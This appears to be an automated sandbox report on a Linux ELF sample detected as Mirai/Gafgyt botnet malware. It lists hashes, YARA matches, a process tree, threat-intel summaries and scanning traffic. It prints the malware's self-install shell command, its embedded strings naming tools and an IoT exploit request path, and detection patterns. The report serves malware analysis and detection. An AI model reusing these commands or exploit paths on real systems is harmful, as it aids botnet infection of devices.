Create Interactive Tour

Linux Analysis Report
uMqeVeoVI4.elf

Overview

General Information

Sample name:	uMqeVeoVI4.elf renamed because original name is a hash value
Original sample name:	5069e06e4b4cf9dabe574bffc7f9435c.elf
Analysis ID:	1412864
MD5:	5069e06e4b4cf9dabe574bffc7f9435c
SHA1:	7662f74680be3dcebb1bef06bdfea73edd8ac90e
SHA256:	ee181ee7daa80d49d8f0be9f00b5ce2f1dc8ce57ce4594e4b5a89afe4c5c77f0
Tags:	32elfmiraimotorola
Infos:

Detection

Gafgyt, Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1412864
Start date and time:	2024-03-21 05:20:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	uMqeVeoVI4.elf renamed because original name is a hash value
Original Sample Name:	5069e06e4b4cf9dabe574bffc7f9435c.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/uMqeVeoVI4.elf
PID:	5514
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	matrix
Standard Error:

Process Tree

system is lnxubuntu20

uMqeVeoVI4.elf (PID: 5514, Parent: 5430, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/uMqeVeoVI4.elf

uMqeVeoVI4.elf New Fork (PID: 5516, Parent: 5514)

sh (PID: 5516, Parent: 5514, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf usr/ftp && mkdir usr; >usr/ftp && mv /tmp/uMqeVeoVI4.elf usr/ftp; chmod 777 usr/ftp"

sh New Fork (PID: 5518, Parent: 5516)

rm (PID: 5518, Parent: 5516, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf usr/ftp

sh New Fork (PID: 5519, Parent: 5516)

mkdir (PID: 5519, Parent: 5516, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir usr

sh New Fork (PID: 5520, Parent: 5516)

mv (PID: 5520, Parent: 5516, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/uMqeVeoVI4.elf usr/ftp

sh New Fork (PID: 5521, Parent: 5516)

chmod (PID: 5521, Parent: 5516, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 usr/ftp

uMqeVeoVI4.elf New Fork (PID: 5522, Parent: 5514)

uMqeVeoVI4.elf New Fork (PID: 5524, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5526, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5529, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5530, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5533, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5534, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5537, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5538, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5539, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5542, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5543, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5544, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5545, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5547, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5550, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5551, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5553, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5555, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5557, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5559, Parent: 5522)

uMqeVeoVI4.elf New Fork (PID: 5561, Parent: 5522)

gnome-session-binary New Fork (PID: 5567, Parent: 1383)

sh (PID: 5567, Parent: 1383, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 5567, Parent: 1383, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
uMqeVeoVI4.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
uMqeVeoVI4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
uMqeVeoVI4.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1dbec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dca0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
uMqeVeoVI4.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1f47e:$x2: /bin/busybox chmod 777 * /tmp/ 0x1f1ec:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1dbec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dca0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1f47e:$x2: /bin/busybox chmod 777 * /tmp/ 0x1f1ec:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1dbec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dc8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dca0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dcf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dd7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1f47e:$x2: /bin/busybox chmod 777 * /tmp/ 0x1f1ec:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: uMqeVeoVI4.elf PID: 5514	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x36d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x36ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3701:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3715:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3729:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x373d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3751:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3765:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3779:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x378d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3805:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3819:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x382d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3841:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3855:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3869:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: uMqeVeoVI4.elf PID: 5561	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x79a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x79b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x79cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x79e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x79f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7aa8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7abc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7ad0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7ae4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7af8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 5 entries

String: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythoniptablesnanonvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiamkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.164.216.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.129.100.158 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 40072 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56816 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57998 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57900 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47782 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40244
Source: unknown	Network traffic detected: HTTP traffic on port 40272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40272
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 55506 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59352 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34450 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46266 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59352 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 34450 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 32780 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58284 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 34466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44844 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38026 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44844 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57630 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55588 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41218 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50778
Source: unknown	Network traffic detected: HTTP traffic on port 57642 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41230 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50806
